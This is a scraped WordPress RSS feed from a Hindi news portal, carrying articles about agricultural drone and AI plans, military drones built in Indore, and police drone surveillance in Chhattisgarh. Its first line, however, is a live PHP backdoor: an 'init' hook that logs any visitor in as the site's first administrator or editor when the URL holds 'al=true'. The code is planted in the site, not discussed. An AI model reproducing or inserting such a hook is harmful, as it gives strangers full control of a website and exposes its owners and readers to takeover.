// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); drones – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 07 Nov 2025 04:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 खेती में तकनीक की क्रांति: अब ड्रोन, AI और रोबोट संभालेंगे खेती-बाड़ी, लागत घटेगी, पैदावार बढ़ेगी https://pratyushaashakinayikiran.com/?p=189714 Fri, 07 Nov 2025 04:36:00 +0000 https://pratyushaashakinayikiran.com/?p=189714 नई दिल्ली.
 भारत में कृषि अब सिर्फ परंपरा नहीं, बल्कि तकनीक का संगम बन चुकी है. एग्री-टेक यानी कृषि प्रौद्योगिकी ने किसानों की मेहनत को आधुनिक साधनों से जोड़कर खेती को लाभकारी बना दिया है. ड्रोन से लेकर सेंसर्स, डेटा एनालिटिक्स और मोबाइल ऐप्स तक- हर स्तर पर तकनीक का असर दिखने लगा है. अब किसान मौसम की सटीक जानकारी, मिट्टी की गुणवत्ता और फसल की पैदावार का अनुमान डिजिटल साधनों से कर पा रहे हैं. इससे न सिर्फ उत्पादकता बढ़ रही है, बल्कि लागत में भी बड़ी कमी आई है.

केंद्र सरकार की योजना परवान चढ़ी तो देश में कृषि अब हल-बैल से नहीं, ड्रोन, कृत्रिम बुद्धिमत्ता (एआइ), रोबोट और बीजों की जीन एडिटिंग से चलेगी। पानी की बर्बादी शून्य होगी और भरपूर पैदावार से अन्नदाता किसान की आय मौजूदा स्तर से दोगुनी हो सकती है। नीति आयोग ने अगले पांच साल के लिए देश में खेती का रोडमैप जारी करते हुए यह सपना दिखाया है जो सच भी हो सकता है।

नीति आयोग ने रोडमैप के रूप में विजन डॉक्यूमेंट ‘रीइमैजिनिंग एग्रीकल्चर : रोडमैप फॉर फ्रंटियर टेक्नोलॉजी लेड ट्रांसफॉर्मेशन’ तैयार किया है। इस डॉक्यूमेंट में कृषि में 100 प्रतिशत आत्मनिर्भता लाने के लिए ऐसी तकनीकों को चुना है, जिसके जरिए देश की कृषि में क्रांतिकारी बदलाव आने की उम्मीद है। ये तकनीकें क्लाइमेट चेंज, पानी की कमी, मिट्टी की थकान और बाजार की अनिश्चितता को खत्म करने में मददगार बनेगी। रोडमैप पर प्रभावी अमल से अगले 5 साल में देश मेें कृषि लागत 40 प्रतिशत घटने का अनुमान जताया गया है। कृषि लागत को ही किसानों की खुशहाली और खेती को लाभकारी बनाने में सबसे बड़ी बाधा माना जाता है। रोडमैप से कृषि उत्पादन में 60 प्रतिशत बढ़ोतरी होगी।

स्मार्ट फार्मिंग: खेतों से जुड़ी स्मार्ट सोच
‘स्मार्ट फार्मिंग’ अब भारतीय गांवों में तेजी से लोकप्रिय हो रही है. यह तकनीक खेती के हर चरण में वैज्ञानिक नजरिया अपनाने पर आधारित है. उदाहरण के लिए, ड्रोन के जरिए फसलों पर छिड़काव से समय और पानी दोनों की बचत होती है. वहीं, सेंसर से मिट्टी की नमी और पोषक तत्वों की निगरानी कर किसान तय कर सकते हैं कि किस समय कितनी सिंचाई या खाद की जरूरत है. कई स्टार्टअप्स किसानों को मोबाइल ऐप्स के माध्यम से बाजार भाव, बीज चयन, और फसल बीमा की जानकारी भी दे रहे हैं. इससे किसान पहले से ज्यादा आत्मनिर्भर और जागरूक हो रहे हैं.

डिजिटल एग्रीकल्चर से नए अवसर
सरकार और निजी कंपनियां मिलकर ‘डिजिटल एग्रीकल्चर’ को तेजी से बढ़ावा दे रही हैं. प्रधानमंत्री किसान ड्रोन योजना, डिजिटल किसान पोर्टल, और ई-नाम (राष्ट्रीय कृषि बाजार) जैसी पहलों ने किसानों के लिए तकनीक को सुलभ बना दिया है. आज किसान अपने स्मार्टफोन से सीधे मंडियों से जुड़ सकते हैं और बिचौलियों से बचकर बेहतर दाम पा सकते हैं. इसके अलावा, सैटेलाइट इमेजिंग और आर्टिफिशियल इंटेलिजेंस (AI) जैसी तकनीकें फसलों की स्थिति पर नज़र रखती हैं और समय रहते चेतावनी भी देती हैं. इससे फसल नुकसान की संभावना काफी घट गई है.

आधुनिक तकनीक से आत्मनिर्भर किसान
एग्री-टेक ने भारतीय कृषि को नई दिशा दी है. जहां पहले खेती को जोखिम भरा माना जाता था, वहीं अब यह इनोवेशन और उद्यमिता का क्षेत्र बन चुका है. युवा किसान अब पारंपरिक खेती के साथ-साथ जैविक, हाइड्रोपोनिक और प्रिसिशन फार्मिंग जैसी तकनीकों को अपना रहे हैं. इससे न केवल उनकी आमदनी बढ़ रही है, बल्कि ग्रामीण अर्थव्यवस्था भी मजबूत हो रही है. भारत धीरे-धीरे ‘स्मार्ट एग्रीकल्चर इकोनॉमी’ की ओर बढ़ रहा है, जहां तकनीक और परंपरा मिलकर एक स्थायी कृषि भविष्य की नींव रख रहे हैं.

संक्षेप में भारत में एग्री-टेक सिर्फ खेती का आधुनिकीकरण नहीं, बल्कि किसानों की जिंदगी में नई उम्मीदों की बुआई है. तकनीक ने साबित कर दिया है कि अगर सही जानकारी और संसाधन मिलें, तो खेत भी डिजिटल इंडिया की ताकत बन सकते हैं.

फ्रंटियर टेक्नोलॉजी : खेत से लैब तक

ड्रोन फार्मिंग : एक घंटे में 50 एकड़ पर कीटनाशक छिड़काव, 80% दवा बचत।

आर्टिफिशियल इंटेलिजेंस व मशीन लर्निंग (एआइ/एमएल): मौसम, कीट, बीमारी का 100% सटीक पूर्वानुमान।

इंटरनेट ऑफ थिंग्स (आइओटी) : मिट्टी की नमी, पीएच, पोषक तत्व 24 घंटे सातों दिवस मोबाइल पर।

सैटेलाइट इमेजरी : बादल पार कर फसल की लाइव तस्वीर, सूखा-बाढ़ अलर्ट।

ब्लॉकचेन : बीज से बाजार तक पारदर्शी चेन, नकली खाद-बीज खत्म।

रोबोटिक्स : बुवाई, निराई, कटाई सब ऑटोमैटिक, मजदूरों की कमी दूर।

जीन एडिटिंग (सीआरआइएसपीआर ) : 2 साल में सूखा, कीट, नमक रोधी नई किस्में।

प्रिसिजन फार्मिंग : हर पौधे को अलग खाद-पानी, 30% लागत में होगी बचत।

वर्टिकल फार्मिंग : शहरों में की छतों पर 10 मंजिला खेत, 1 एकड़ यानी 10 एकड़ यील्ड पर फॉर्मिंग।

हाइड्रोपोनिक्स : बिना मिट्टी, 90 प्रतिशत कम पानी, साल भर फसल।

एरोपोनिक्स : हवा में उगाएं सब्जी, पानी की बूंद भी न बर्बाद।

बिग डेटा एनालिटिक्स : हर गांव, हर फसल का अलग ‘डिजिटल फॉर्मूला’।

साल दर साल ऐसे कदम

वर्ष –लक्ष्य — यह होगा

2026- पायलट प्रोजेक्ट – 10 राज्यों में ड्रोन एआइ हब, 1 लाख एकड़ कवर

2027- डिजिटल पहुंच – 50 प्रतिशत किसानों को मुफ्त ऐप, सैटेलाइट डेटा, आइओटी किट मिलेंगे

2028 –ग्लोबल मार्केट- ब्लॉक चेन से सीधे निर्यात, 10 लाख टन ऑर्गेनिक

2029—रोबोट क्रांति-— 500 रुपए /दिन रोबोट किराया, 50,000 यूनिट डिप्लॉय

2030—स्मार्ट विलेज-–हर गांव में ‘डिजिटल खेत’, आय दोगुनी की गारंटी

किसानो को ऐसे लाभ

आय: 1 एकड़ में गेहूं से मौजूदा 25,000 रुपए से बढ़कर 2030 में 70,000 रुपए

लागत कम: 40% कम होगी (खाद-पानी-दवा)

उत्पादन बढ़ेगा : 60% बढ़ेगा

पानी बचत : 90% (हाइड्रो/एरोपोनिक्स)

बाजार उपलब्धता: 100% (ब्लॉकचेन)

फंडिंग और इंफ्रास्ट्रक्चर :

कृषि-टेक फंड : 50,000 करोड़ रुपए

ड्रोन दीदी : 1 लाख महिलाओं को ट्रेनिंग।

एआइ लैब: हर जिले में 1 एआइ लैब बनेगी।

फ्री स्मार्टफोन: 10 करोड़ किसानों को

रोबोट बैंक: 1 लाख यूनिट रेंट पर खुलेगा।

सब साथ आएंगे होंगे सफल

यह यात्रा अकेले सरकार की नहीं है। यह तभी सफल होगी जब किसान, वैज्ञानिक, उद्यमी, निवेशक और नीति-निर्माता एक साथ आएं। हमें यह सुनिश्चित करना होगा कि तकनीक केवल प्रयोगशालाओं तक सीमित न रहे, बल्कि खेतों तक पहुंचे। जहां यह वास्तव में बदलाव ला सकें। यह रोडमैप ऐसे भविष्य का एक आह्वान है, जहां भारत विश्व का अन्न भंडार बने।

-बी.वी.आर.सुब्रह्मण्यम, सीईओ, नीति आयोग

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इंदौर के हाई टेक्नोलॉजी ड्रोन बॉर्डर पर तैनात किए गए, पाक की नाक में किया दम https://pratyushaashakinayikiran.com/?p=155141 Sat, 10 May 2025 03:46:00 +0000 https://pratyushaashakinayikiran.com/?p=155141 इंदौर
 जब मध्य प्रदेश के इंदौर का नाम आता है तो यहां का पोहा याद आ जाता है. मगर, इस बार पोहा नहीं बल्कि इंदौरी ड्रोन खूब सुर्खियां बंटोर रहा है. भारत की तरफ से शुरू ‘ऑपरेशन सिंदूर’ के बाद पाकिस्तान के खिलाफ ताबड़तोड़ एक्शन लिया जा रहा है. भारत ने पाकिस्‍तान के हमलों का ऐसा जवाब दिया है कि वहां लोग अब तक खौफ में हैं. पाकिस्‍तान के हर वार की काट भारत के पास मौजूद है. पाकिस्‍तान के लड़ाकू विमान जब हमले करने के लिए भारत की ओर बढ़े, तो हमारे बॉर्डर पर तैनात मिसाइलों ने उन्‍हें ढेर कर दिया. इस बीच, इंदौर से बड़ी संख्या में हाई टेक्नोलॉजी से लैस ड्रोन बॉर्डर के लिए रवाना किए गए हैं. ये ड्रोन पाकिस्तान के छक्के छुड़ा देगा.

हालांकि, पहले से ही इंदौर में बने ड्रोन का भारत-पाकिस्तान वॉर में देश की सेना इस्तेमाल कर रही है. यहां के 2 युवा इंजीनियरों की टीम दिन रात युद्ध स्तर पर ड्रोन बनाने में जुटी हुई है. बता दें, 1971 युद्ध के 54 साल बाद युद्ध में सबसे ज्यादा टेक्नोलॉजी का इस्तेमाल हो रहा हैं.

सबसे ज्यादा हमले ड्रोन से किए जा रहे हैं. ऐसे में देशभर के युवा अपनी सेना के लिए ड्रोन तैयार करने में जुटे हुए हैं. ऐसे ही एक युवा इंजीनियरों अभिषेक शर्मा और रोशनी शुक्ला की टीम ने नभ रक्षक 1.O , नभ रक्षक 2.O थर्मल ड्रोन और नभ रक्षक 5.O ड्रोन तैयार किए हैं.

अगर इनकी खासियत के बारे में बात करें तो एक हजार फीट की ऊंचाई से भी घने अंधेरे में भी ये ड्रोन दुश्मनों को ढूंढ लेने में कारगर हैं. 5 किलो वजन उठाकर ये ड्रोन 120 किलो मीटर की रफ्तार से 10 किलो मीटर का सफर बड़ी आसानी से कर सकती हैं.

इन ड्रोन की सबसे बड़ी खासियत है, रडार भी इन्हें नहीं पकड़ पाती हैं. जम्मू कश्मीर और पंजाब के सीमावर्ती इलाकों के बॉर्डर पर सर्विलांस के लिए इन ड्रोनों का आर्मी इस्तेमाल कर रही है.

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छत्तीसगढ़-जगदलपुर में चप्पे-चप्पे पर पुलिस तैनात, ड्रोन रखेगा कड़ी नजर https://pratyushaashakinayikiran.com/?p=71284 Mon, 16 Sep 2024 14:15:00 +0000 https://pratyushaashakinayikiran.com/?p=71284 जगदलपुर.

तीज त्यौहार, गणेश विसर्जन के साथ ही सोमवार को ईद पर्व को देखते हुए पुलिस ने रविवार रात में पैदल मार्च किया। इस दौरान शहर की पुलिस के अलावा ग्रामीण क्षेत्रों के थाना प्रभारी भी इस कार्यक्रम में शामिल हुए। पैदल मार्च पास्ट के बारे में जानकारी देते हुए अतिरिक्त पुलिस अधीक्षक महेश्वर नाग ने बताया कि आने वाले दिनों से तीज त्यौहार के साथ ही शहर में जगह-जगह गणेश पंडाल में विघ्नहर्ता की मूर्ति स्थापित की गई है, वहीं, दो दिनों के अंदर विसर्जन का दौर शुरू हो जाएगा।

इस दौरान रविवार को पुलिस टीम के द्वारा शहर के चौक-चौराहों पर पुलिस टीम को तैनात किया गया है। गणेश विसर्जन के दौरान समिति के द्वारा रूट चार्ट भी तैयार किया गया है। विसर्जन के दौरान किसी भी प्रकार से कोई भी परेशानी ना हो, इसके लिए जवानों की तैनाती किया गया है। महेश्वर नाग के मार्गदर्शन में पुलिस टीम के द्वारा कोतवाली से पैदल मार्च मेन रोड, गोलबाजार, मिताली चौक, पैलेस रोड़, संजय मार्केट, हाई स्कूल मार्ग, महारानी अस्पताल, चांदनी चौक, शहीद पार्क मार्ग, चौपाटी से होते हुए कोतवाली में समाप्त किया गया।

तीसरी नजर से भी रहेगी शहर पर निगरानी
अतिरिक्त पुलिस अधीक्षक महेश्वर नाग ने बताया कि चौक चौराहों पर पुलिस जवानों के ससथ ही कंट्रोल रूम में भी जवानों को तैनात किया गया है, जिसके द्वारा तीसरी नजर से निगरानी रखी जाएगी। किसी भी तरह से कोई भी दिक्कत होने पर तत्काल टीम के द्वारा सहायता पहुंचाई जाएगी।

डीजे बजने पर होगी कार्रवाई
गणेश विसर्जन के दौरान पहले से ही हाईकोर्ट ने आदेश जारी कर दिया है, अगर किसी भी समिति के द्वारा इन आदेशों का पालन ना करते हुए डीजे बजाता है तो उसके खिलाफ कार्रवाई करते हुए डीजे और वाहन दोनों को जब्त कर लिया जाएगा।

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200 KM में फैले नक्सलियों की इजराइली ड्रोन से निगरानी https://pratyushaashakinayikiran.com/?p=50454 Fri, 12 Jul 2024 09:11:00 +0000 https://pratyushaashakinayikiran.com/?p=50454 जगदलपुर

 बारिश के दौरान बस्तर में विजिबिलिटी कम हो जाती है और पहुंच विहीन क्षेत्र में पहुंचना मुश्किल होता है। इसलिए पुलिस के ऑपरेशन मानसून को ज्यादा आक्रामक और सफल बनाए रखने के लिए पुलिस माओवादियों की गतिविधि को यूएवी से नजर रखने की तैयारी कर रही हैं। जो नक्सल क्षेत्र के 200 किलोमीटर के दायरे में निगरानी रखेगा। साथ ही सेटेलाइट रडार से भी नजर रखने की योजना सुरक्षा बलों ने बना ली है।

बता दें कि पिछले कुछ सालों से एनटीआरओ का बेस बस्तर में बनाए जाने के बाद बड़े ड्रोन से माओवादियों की गतिविधि भी कैद हो रहा है। बताया जा रहा है कि रडार का कनेक्शन सीधे सेंट्रल मॉनिटरिंग कंट्रोल रुम से होगा और नक्सल क्षेत्रों में लगे रडार अपनी तस्वीरों को सेन्ट्रल मॉनिटरिंग रूम को भेजेगा। जिसके बाद इनपुट के आधार पर नक्सल ऑपरेशन को चलाया जाएगा।

इधर नक्सल क्षेत्र में यूएवी 15 हजार फीट की ऊंचाई से नजर बनाये रखेगा और बारिश में जंगल के भीतर माओवादियों के इमेज को कैप्चर भी करेगा। वहीं सुरक्षा बल अब हर तरीके से माओवादियों पर अंकुश लगाने की तैयारी कर रहा है। इससे पहले भी जनवरी महीने से लगातार पुलिस को अत्याधुनिक संसाधनों की मदद से माओवादियों की एग्जैक्ट लोकेशन मिली जिससे ऑपरेशन सफल हुए हैं।

बताया जाता है कि बस्तर में लगातार हो रही बारिश को देखते हुए आसमान से नजर रखी जा रही है। रात के समय नक्सलियों के मूवमेंट और उनके ठिकानों को चिन्हाकिंत करने की क्षमता होने के कारण इसका उपयोग किया जा रहा है। नक्सल आपरेशन से जुड़े अधिकारियों का कहना है कि सीधे टारगेट पाॅइंट को कवर करने में काफी मदद मिल रही है।

नक्सली गतिविधियों पर अंकुश लगाने में योजना में कारगार साबित हो रहा है। बता दें कि पहले यह ड्रोन को दुर्ग-भिलाई के नंदनी स्थित सेंटर से उड़ान भरता था। इसके बाद में जगदलपुर शिफ्ट किया गया था। इसकी उपयोगिता को देखते हुए जम्मू और कश्मीर में पत्थरबाजी एवं आतंकवादियों से निपटने के लिए कश्मीर ले जाया गया था।

15000 फीट की ऊंचाई से निगहबानी
रिमोट से उड़ान भरने वाला ईंधन चलित अत्याधिक ड्रोन एक बार में 8-10 घंटे तक उड़ान भर सकता है। वहीं करीब 1000-15000 फीट की उचांई से जंगल के अंदर की गतिविधियों को देख सकता है। इससे मिले इमेज और फ्रीक्वेंसी को कैप्चर करने के बाद नक्शे से संबंधित इलाके चिन्हाकिंत किए जा रहे हैं। सटीक जानकारी देने की क्षमता को देखते हुए राज्य के बार्डर और इसके आसपास के इलाकों को कवर किया जा रहा है। बताया जाता है कि उत्तर और दक्षिण बस्तर में नक्सलियों की गतिविधियों को देखते हुए इसका उपयोग किया जा रहा है।
 

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